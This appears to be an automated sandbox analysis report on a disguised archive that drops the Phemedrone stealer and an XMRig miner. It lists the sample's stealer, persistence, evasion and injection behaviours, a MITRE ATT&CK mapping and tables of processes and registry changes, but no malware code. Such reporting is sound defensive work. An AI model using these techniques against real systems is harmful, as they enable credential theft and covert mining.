Malware Analysis Report

2024-08-06 14:54

Sample ID 240606-n666saeg95
Target NursultanNextgen2024.zip
SHA256 c1246db99e2391de3ab074eee3815e638e8546b626103281948c560002970e6d
Tags
phemedrone xmrig evasion execution miner persistence spyware stealer upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c1246db99e2391de3ab074eee3815e638e8546b626103281948c560002970e6d

Threat Level: Known bad

The file NursultanNextgen2024.zip was found to be: Known bad.

Malicious Activity Summary

phemedrone xmrig evasion execution miner persistence spyware stealer upx

xmrig

Phemedrone

XMRig Miner payload

Stops running service(s)

Creates new service(s)

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Drops file in Drivers directory

Reads data files stored by FTP clients

Executes dropped EXE

Reads user/profile data of web browsers

UPX packed file

Legitimate hosting services abused for malware hosting/C2

Drops file in System32 directory

Suspicious use of SetThreadContext

Launches sc.exe

Enumerates physical storage devices

Suspicious behavior: LoadsDriver

Suspicious use of WriteProcessMemory

Modifies data under HKEY_USERS

Suspicious use of AdjustPrivilegeToken

Delays execution with timeout.exe

Suspicious behavior: EnumeratesProcesses

Runs regedit.exe

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
System Services
T1569
Service Execution
T1569.002
Persistence
TA0003
Create or Modify System Process
T1543
Windows Service
T1543.003
Privilege Escalation
TA0004
Create or Modify System Process
T1543
Windows Service
T1543.003
Defense Evasion
TA0005
Impair Defenses
T1562
Credential Access
TA0006
Unsecured Credentials
T1552
Credentials In Files
T1552.001
Discovery
TA0007
System Information Discovery
T1082
Lateral Movement
TA0008
Collection
TA0009
Data from Local System
T1005
Exfiltration
TA0010
Command and Control
TA0011
Web Service
T1102
Impact
TA0040
Service Stop
T1489
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-06 12:01

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-06 12:01

Reported

2024-06-06 12:22

Platform

win10-20240404-en

Max time kernel

316s

Max time network

870s

Command Line

"C:\Users\Admin\AppData\Local\Temp\rar\UnRAR.exe"

Signatures

Enumerates physical storage devices

Processes

C:\Users\Admin\AppData\Local\Temp\rar\UnRAR.exe

"C:\Users\Admin\AppData\Local\Temp\rar\UnRAR.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 90.65.42.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-06 12:01

Reported

2024-06-06 12:22

Platform

win10-20240404-en

Max time kernel

1199s

Max time network

1194s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\start.bat"

Signatures

Phemedrone

stealer phemedrone

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A

Creates new service(s)

persistence execution

Drops file in Drivers directory

Description Indicator Process Target
File created C:\Windows\system32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
File created C:\Windows\system32\drivers\etc\hosts C:\ProgramData\soft\regedit.exe N/A

Stops running service(s)

evasion execution

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Java20.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
N/A N/A C:\ProgramData\soft\regedit.exe N/A

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\system32\MRT.exe C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\system32\MRT.exe C:\ProgramData\soft\regedit.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 952 set thread context of 4604 N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Java20.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1004 set thread context of 1976 N/A C:\ProgramData\soft\regedit.exe C:\Windows\system32\conhost.exe
PID 1004 set thread context of 3292 N/A C:\ProgramData\soft\regedit.exe C:\Windows\system32\svchost.exe

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A

Runs regedit.exe

Description Indicator Process Target
N/A N/A C:\ProgramData\soft\regedit.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe N/A
N/A N/A C:\ProgramData\soft\regedit.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 5116 wrote to memory of 4124 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\findstr.exe
PID 5116 wrote to memory of 4124 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\findstr.exe
PID 5116 wrote to memory of 3660 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\findstr.exe
PID 5116 wrote to memory of 3660 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\findstr.exe
PID 5116 wrote to memory of 1240 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\findstr.exe
PID 5116 wrote to memory of 1240 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\findstr.exe
PID 5116 wrote to memory of 4072 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 5116 wrote to memory of 4072 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4072 wrote to memory of 1408 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4072 wrote to memory of 1408 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 5116 wrote to memory of 4312 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\findstr.exe
PID 5116 wrote to memory of 4312 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\findstr.exe
PID 5116 wrote to memory of 4572 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5116 wrote to memory of 4572 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5116 wrote to memory of 1916 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
PID 5116 wrote to memory of 1916 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
